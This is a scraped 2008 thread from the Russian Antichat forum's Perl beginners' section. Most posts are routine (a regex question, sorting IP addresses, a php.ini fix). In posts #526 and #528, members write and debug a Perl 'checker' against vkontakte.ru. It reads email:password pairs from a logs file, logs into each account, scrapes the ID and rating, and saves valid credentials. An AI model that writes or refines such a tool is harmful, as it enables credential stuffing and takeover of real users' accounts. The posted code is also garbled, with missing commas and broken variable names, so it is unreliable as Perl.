HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #521  
Старый 16.06.2008, 00:11
emik
Познающий
Регистрация: 20.12.2007
Сообщений: 80
Провел на форуме:
497815

Репутация: 85
По умолчанию

еп-ти заработало! все бока в этой диретиве!

хотя в скрипте использовал set_time_limit(0); но не погало (
 
Ответить с цитированием

  #522  
Старый 16.06.2008, 06:41
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Че-то после праздников я не пойму. Заглядываю в тему по перлу - вижу обсуждение php.ini o_O
 
Ответить с цитированием

  #523  
Старый 16.06.2008, 17:30
emik
Познающий
Регистрация: 20.12.2007
Сообщений: 80
Провел на форуме:
497815

Репутация: 85
По умолчанию

прошу прощения, просидел безвылазно за компом чуть ли не сутки вот и глюкнуло. Если можно переместите, или удлаите топики.
 
Ответить с цитированием

  #524  
Старый 17.06.2008, 22:36
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541

Репутация: 214


По умолчанию

есть некий урл
www.site.com
на котором есть некое значение 777
которое в исходно коде находится в такой строчке
<div id="value" style="width:10px;">777</div>

делаю запрос
$request = get('http://www.site.com')->as_string;

в переменной request будет исходник страницы
а вот дальше подскажите как выдрать именно значение 777 которое в <div id="value" style="width:10px;">777</div> и записаь его в переменную

я так понимаю нужно пользоваться регуляркой?
 
Ответить с цитированием

  #525  
Старый 17.06.2008, 23:12
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

Будет что-то типа
PHP код:
my $variable = $if $request =~ m#<div id="value" style="width:10px;">(\d+)</div>#gio; 
Нужное тебе значение будет в переменной $variable

Последний раз редактировалось biophreak; 17.06.2008 в 23:15..
 
Ответить с цитированием

  #526  
Старый 17.06.2008, 23:43
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541

Репутация: 214


По умолчанию

Ну вот с горем пополам немного переделал чекер на перле для контакта,чтоб чекал рейтинг
но почемуто айдишник не выдает (
где огибка?

з.Ы. Знание перла = 0.01% ыыыыыы
ногами не пинать учусь.
PHP код:
#!/usr/bin/perl
use strict;
use 
LWP::UserAgent;

use 
HTTP::Cookies;

open (FILE '<logs.txt');
my @= <FILE>;
chomp @f;



my $ua LWP::UserAgent->new;
my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);    #Eoee ;)
open (OUT '>>IDS.txt');
while (@
f)
{
my ($mail$pass) = split(/:/, shift(@f));

my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass } )->as_string;
my $suc $req =~ /302 Found/;
if (
$suc )
{
$req $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt;)/;
if (!$
2)
{
print 
"Account deleted";# это в случае , если пользователь удалил страницу
}
$req $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $if $req=~m/width:100px">(.{1,4})</;
print "
[rate=$res]:$mail:$pass \n";
print OUT 
$res.":".$mail.":".$pass.":".$2."\n";
if (length($2)>1){print OUT 
$res.":".$mail.":".$pass.":".$2."\n";}
}
else{print"
[-]bad login or password";}

 
Ответить с цитированием

  #527  
Старый 18.06.2008, 06:53
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Цитата:
ногами не пинать учусь.
Учись для начала открытые файлы закрывать...
 
Ответить с цитированием

  #528  
Старый 18.06.2008, 09:47
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

Вот что у меня получилось, там немного в скрипте логика хромала, при удаленном акке он продолжил бы запрос rate.php страницы...
На удаленных акках не тестил
PHP код:
 #!/usr/bin/perl -s
use strict
use 
warnings 'all';
use 
diagnostics;
use 
LWP::UserAgent
use 
HTTP::Cookies
open FILE'<''logs.txt' or die "Cannot open logs file: $!\n";
my $ua LWP::UserAgent->new
my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); 
$ua->cookie_jar($cookies);
open OUT'>>''IDS.txt' or die "Cannot open IDS file: $!\n";
while (
my @= <FILE>) 
{
    
my ($mail$pass) = split ':'shift @f;
    
chomp($pass);
    
my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass })->as_string
    
$req =~ /302 Found/; 
    if (
$req
    { 
        
$req $ua->get('http://vkontakte.ru/index.php')->as_string
        
my $id = $if $req =~ m#&lt;a href="http://vkontakte.ru/id(\d+)"&gt;#i;
        
next && print "Account $mail deleted\n" if !$id;
        
$req $ua->get('http://vkontakte.ru/rate.php')->as_string
        
my $res = $if $req=~m#<div id="percent" style="width:100px">(\d{1,3})%</div>#i; 
        
print "[rate = $res%]:$mail:$pass\n"
        print 
OUT $res.":".$mail.":".$pass."\n"
        exit;
    } else 
    { 
        print
"[-]bad login or password"
    } 
} continue 

    
close OUT
    
close FILE;

 
Ответить с цитированием

  #529  
Старый 18.06.2008, 12:10
sedoy_xxx
Участник форума
Регистрация: 05.07.2006
Сообщений: 285
Провел на форуме:
3295822

Репутация: 117
По умолчанию

Есть массив ip адресов. Его нужно отсортировать в порядке возрастания 3 и 4 октетов. Стандартная функция sort делает это так:
10.1.1.11
10.1.1.12
10.1.1.120
10.1.1.121
10.1.1.13

А требуется:

10.1.1.11
10.1.1.12
10.1.1.13
.......
10.1.1.120
10.1.1.121
 
Ответить с цитированием

  #530  
Старый 18.06.2008, 12:20
Zircool
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме:
519496

Репутация: 78
Отправить сообщение для Zircool с помощью ICQ
По умолчанию

Не знаю есть ли функция natsort() в perl но в PHP она есть и сортирует так как тебе нужно....
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
[php] Новичкам: задаем вопросы _Great_ PHP 16396 17.06.2010 21:19
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ